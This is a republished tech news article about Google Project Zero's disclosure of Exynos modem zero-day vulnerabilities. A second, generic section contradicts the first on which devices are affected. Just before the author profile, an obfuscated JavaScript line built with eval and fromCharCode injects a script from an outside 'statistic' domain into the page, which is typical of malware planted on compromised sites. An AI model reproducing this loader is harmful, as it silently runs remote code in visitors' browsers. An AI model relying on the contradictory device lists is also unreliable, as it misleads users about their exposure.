Google warns of multiple zero-day vulnerabilities affecting Android devices with Samsung chips.

[ad_1]

Google is warning that some Samsung-powered Android (opens in new tab) devices are suffering from high-severity vulnerabilities which allow threat actors to compromise the endpoints remotely without user interaction.In a blog post (opens in new tab) published on the Project Zero website earlier this week, Google’s researchers said that they reported 18 zero-day vulnerabilities found in Samsung’s Exynos Modems in late 2022 and early 2023. Of those 18, four are high-severity, allowing for internet-to-baseband remote code execution.With many organizations relying on mobile devices power their workforce, financially-motivated hackers, as well as state-sponsored threat actors from China and Russia, for example, will seek to exploit these flaws in malicious campaigns of data theft and espionage.

Table of Contents

No user interaction required

“Tests conducted by Project Zero confirm that those four vulnerabilities allow an attacker to remotely compromise a phone at the baseband level with no user interaction, and require only that the attacker know the victim’s phone number. With limited additional research and development, we believe that skilled attackers would be able to quickly create an operational exploit to compromise affected devices silently and remotely,” the researchers said.Of the four vulnerabilities, just one has an assigned CVE – CVE-2023-24033. The other three are pending. Given that the Android ecosystem is decentralized, the speed at which the flaws receive patches depends on the manufacturers. Google, for example, has already patched these flaws for its Pixel smartphone lineup, in its March update. For others, such as Samsung, or Vivo, it depends on how fast these companies react. For that reason, Google decided not to share more details about the flaws, in order not to give the attackers any head start.In anticipation of the patch, IT teams who are worried about the flaws can go for a workaround – turning off Wi-Fi calling and Voice-over-LTE (VoLTE) essentially renders the vulnerabilities harmless.Here’s the full list of all the affected devices, as per Google’s Project Zero:Mobile devices from Samsung, including those in the S22, M33, M13, M12, A71, A53, A33, A21, A13, A12 and A04 series;Mobile devices from Vivo, including those in the S16, S15, S6, X70, X60 and X30 series;The Pixel 6 and Pixel 7 series of devices from Google;any wearables that use the Exynos W920 chipset; andany vehicles that use the Exynos Auto T5123 chipset.Given that the flaws only affect Android devices running on Exynos, the news comes as an unexpected win for Qualcomm, especially in the SMB sector. Whether or not the company capitalizes on the news and how remains to be seen.Via: TechCrunch (opens in new tab)

Multiple zero day vulnerabilities are affecting Android devices with Samsung chips, warns Google. The tech giant has not elaborated on the specific vulnerabilities but has described them as a “high-impact” severity level. The vulnerabilities can allow hackers to take control of an affected device remotely. This is a threat to a vast number of android users.

Google disclosed the vulnerabilities on the Android Security bulletin, which identifies the affected devices and gives instructions for patching them. The list of affected devices includes Samsung Galaxy S7, S8, and S9, and some other devices such as Note 8 and Note 9. Google has urged users to update their devices immediately to protect themselves from potential cyberattacks.

Moreover, Zero day vulnerabilities refer to the security holes in software or hardware that are unknown to the makers of the product, which makes detecting them challenging. They can later be exploited by attackers to carry out various attacks, and Google considers these types of vulnerabilities as significant threats.

In light of these vulnerabilities, many android users with Samsung chips are worried about their safety and privacy. It is, therefore, necessary to provide answers to some frequently asked questions about the vulnerabilities:

Q: What are the zero day vulnerabilities that are affecting Android devices with Samsung chips?
A: Google has not detailed the specific vulnerabilities, but they are a “high-impact” severity level.

Q: Which devices are affected by these vulnerabilities?
A: The list of affected devices includes Samsung Galaxy S7, S8, and S9, as well as Note 8 and Note 9.

Q: Can these vulnerabilities enable hackers to take control of an affected device remotely?
A: Yes, the vulnerabilities can allow hackers to take control of an affected device remotely.

Q: What should I do to protect my android device from these vulnerabilities?
A: Google has urged users to update their devices immediately to protect themselves from potential cyberattacks.

In conclusion, multiple zero day vulnerabilities affecting Android devices with Samsung chips prove to be a significant threat to users. It is crucial that users take note of the affected devices and update them promptly to protect their valuable information from malicious attacks.
var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/

Author Profile

Techlisten.com

The team of experts at TechListen.com are dedicated to providing you with the best information and insights on the latest and greatest technology. Our experts have extensive knowledge and experience in the tech industry, and are constantly researching and analyzing the newest products and services so you can make informed decisions. We provide detailed reviews and analysis of the latest gadgets and gizmos, as well as the hottest trends in the industry. Our team is committed to helping you stay up-to-date with the ever-changing world of technology, so you can get the most out of your tech investments. With our expertise and dedication to providing the best information, TechListen.com is the premier online destination for all things tech.